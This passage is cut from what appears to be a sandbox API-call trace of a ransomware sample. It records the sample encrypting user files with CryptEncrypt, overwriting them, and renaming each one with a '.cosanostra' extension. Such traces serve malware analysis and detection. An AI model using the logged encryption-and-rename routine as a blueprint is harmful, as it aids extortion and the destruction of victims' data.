SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.748] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3b4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff3b4*=0x2800, lpOverlapped=0x0) returned 1 [0097.804] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.804] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff3f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3b4, lpOverlapped=0x0 | out: lpBuffer=0x26ff3f4*, lpNumberOfBytesWritten=0x26ff3b4*=0x4, lpOverlapped=0x0) returned 1 [0097.810] WriteFile (in: hFile=0x15c, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3b4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff3b4*=0x30, lpOverlapped=0x0) returned 1 [0097.811] CloseHandle (hObject=0x15c) returned 1 [0097.811] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\bxO3MVkv.wav.cosanostra") returned 81 [0097.811] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\bxO3MVkv.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\bxo3mvkv.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\bxO3MVkv.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\bxo3mvkv.wav.cosanostra")) returned 1 [0097.812] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3f8 | out: pbBuffer=0x26ff3f8) returned 1 [0097.812] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3f0*=0x30) returned 1 [0097.812] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.812] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned 51 [0097.812] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0097.813] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffdbc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.813] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x244, lpNumberOfBytesWritten=0x26ff3b4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff3b4*=0x244, lpOverlapped=0x0) returned 1 [0097.813] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.813] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff3f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3b4, lpOverlapped=0x0 | out: lpBuffer=0x26ff3f4*, lpNumberOfBytesWritten=0x26ff3b4*=0x4, lpOverlapped=0x0) returned 1 [0097.813] WriteFile (in: hFile=0x15c, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3b4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff3b4*=0x30, lpOverlapped=0x0) returned 1 [0097.814] CloseHandle (hObject=0x15c) returned 1 [0097.816] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini.cosanostra") returned 62 [0097.816] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.ini.cosanostra")) returned 1 [0097.818] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3f0 | out: pbBuffer=0x26ff3f0) returned 1 [0097.818] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3e8*=0x30) returned 1 [0097.818] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.818] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3f0 | out: pbBuffer=0x26ff3f0) returned 1 [0097.818] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3e8*=0x30) returned 1 [0097.818] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.822] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3e0 | out: pbBuffer=0x26ff3e0) returned 1 [0097.823] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3d8*=0x30) returned 1 [0097.823] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.824] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned 80 [0097.824] StrStrW (lpFirst="Windows Live Spaces.url", lpSrch=".txt") returned 0x0 [0097.825] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.825] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff39c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff39c*=0x85, lpOverlapped=0x0) returned 1 [0097.825] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.825] WriteFile (in: hFile=0x160, lpBuffer=0x26ff3dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff39c, lpOverlapped=0x0 | out: lpBuffer=0x26ff3dc*, lpNumberOfBytesWritten=0x26ff39c*=0x4, lpOverlapped=0x0) returned 1 [0097.825] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff39c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff39c*=0x30, lpOverlapped=0x0) returned 1 [0097.826] CloseHandle (hObject=0x160) returned 1 [0097.826] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.cosanostra") returned 91 [0097.826] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.cosanostra")) returned 1 [0097.829] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3e0 | out: pbBuffer=0x26ff3e0) returned 1 [0097.829] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3d8*=0x30) returned 1 [0097.829] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.830] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned 78 [0097.830] StrStrW (lpFirst="Windows Live Mail.url", lpSrch=".txt") returned 0x0 [0097.831] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.831] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff39c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff39c*=0x85, lpOverlapped=0x0) returned 1 [0097.831] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.831] WriteFile (in: hFile=0x160, lpBuffer=0x26ff3dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff39c, lpOverlapped=0x0 | out: lpBuffer=0x26ff3dc*, lpNumberOfBytesWritten=0x26ff39c*=0x4, lpOverlapped=0x0) returned 1 [0097.831] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff39c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff39c*=0x30, lpOverlapped=0x0) returned 1 [0097.831] CloseHandle (hObject=0x160) returned 1 [0097.832] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.cosanostra") returned 89 [0097.832] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.cosanostra")) returned 1 [0097.833] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3d8 | out: pbBuffer=0x26ff3d8) returned 1 [0097.833] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3d0*=0x30) returned 1 [0097.833] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.833] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned 81 [0097.833] StrStrW (lpFirst="Windows Live Gallery.url", lpSrch=".txt") returned 0x0 [0097.834] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.834] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff394, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff394*=0x85, lpOverlapped=0x0) returned 1 [0097.834] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.834] WriteFile (in: hFile=0x160, lpBuffer=0x26ff3d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff394, lpOverlapped=0x0 | out: lpBuffer=0x26ff3d4*, lpNumberOfBytesWritten=0x26ff394*=0x4, lpOverlapped=0x0) returned 1 [0097.834] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff394, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff394*=0x30, lpOverlapped=0x0) returned 1 [0097.834] CloseHandle (hObject=0x160) returned 1 [0097.835] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.cosanostra") returned 92 [0097.835] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.cosanostra")) returned 1 [0097.836] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3d8 | out: pbBuffer=0x26ff3d8) returned 1 [0097.836] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3d0*=0x30) returned 1 [0097.836] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.837] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned 77 [0097.837] StrStrW (lpFirst="Get Windows Live.url", lpSrch=".txt") returned 0x0 [0097.838] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.838] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff394, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff394*=0x85, lpOverlapped=0x0) returned 1 [0097.838] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.838] WriteFile (in: hFile=0x160, lpBuffer=0x26ff3d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff394, lpOverlapped=0x0 | out: lpBuffer=0x26ff3d4*, lpNumberOfBytesWritten=0x26ff394*=0x4, lpOverlapped=0x0) returned 1 [0097.838] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff394, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff394*=0x30, lpOverlapped=0x0) returned 1 [0097.838] CloseHandle (hObject=0x160) returned 1 [0097.838] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.cosanostra") returned 88 [0097.838] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.cosanostra")) returned 1 [0097.841] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3d0 | out: pbBuffer=0x26ff3d0) returned 1 [0097.841] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3c8*=0x30) returned 1 [0097.841] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.850] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned 71 [0097.850] StrStrW (lpFirst="MSNBC News.url", lpSrch=".txt") returned 0x0 [0097.851] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.851] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff38c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff38c*=0x85, lpOverlapped=0x0) returned 1 [0097.851] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.851] WriteFile (in: hFile=0x160, lpBuffer=0x26ff3cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff38c, lpOverlapped=0x0 | out: lpBuffer=0x26ff3cc*, lpNumberOfBytesWritten=0x26ff38c*=0x4, lpOverlapped=0x0) returned 1 [0097.851] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff38c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff38c*=0x30, lpOverlapped=0x0) returned 1 [0097.851] CloseHandle (hObject=0x160) returned 1 [0097.851] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.cosanostra") returned 82 [0097.852] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.cosanostra")) returned 1 [0097.853] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3c8 | out: pbBuffer=0x26ff3c8) returned 1 [0097.853] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3c0*=0x30) returned 1 [0097.853] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.855] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned 64 [0097.855] StrStrW (lpFirst="MSN.url", lpSrch=".txt") returned 0x0 [0097.855] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.855] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff384, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff384*=0x85, lpOverlapped=0x0) returned 1 [0097.855] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.855] WriteFile (in: hFile=0x160, lpBuffer=0x26ff3c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff384, lpOverlapped=0x0 | out: lpBuffer=0x26ff3c4*, lpNumberOfBytesWritten=0x26ff384*=0x4, lpOverlapped=0x0) returned 1 [0097.856] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff384, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff384*=0x30, lpOverlapped=0x0) returned 1 [0097.856] CloseHandle (hObject=0x160) returned 1 [0097.856] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.cosanostra") returned 75 [0097.856] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.cosanostra")) returned 1 [0097.856] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3c8 | out: pbBuffer=0x26ff3c8) returned 1 [0097.857] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3c0*=0x30) returned 1 [0097.857] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.857] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned 71 [0097.857] StrStrW (lpFirst="MSN Sports.url", lpSrch=".txt") returned 0x0 [0097.858] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.858] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff384, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff384*=0x85, lpOverlapped=0x0) returned 1 [0097.858] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.858] WriteFile (in: hFile=0x160, lpBuffer=0x26ff3c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff384, lpOverlapped=0x0 | out: lpBuffer=0x26ff3c4*, lpNumberOfBytesWritten=0x26ff384*=0x4, lpOverlapped=0x0) returned 1 [0097.867] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff384, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff384*=0x30, lpOverlapped=0x0) returned 1 [0097.867] CloseHandle (hObject=0x160) returned 1 [0097.868] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.cosanostra") returned 82 [0097.868] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.cosanostra")) returned 1 [0097.868] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3c0 | out: pbBuffer=0x26ff3c0) returned 1 [0097.868] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3b8*=0x30) returned 1 [0097.869] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: 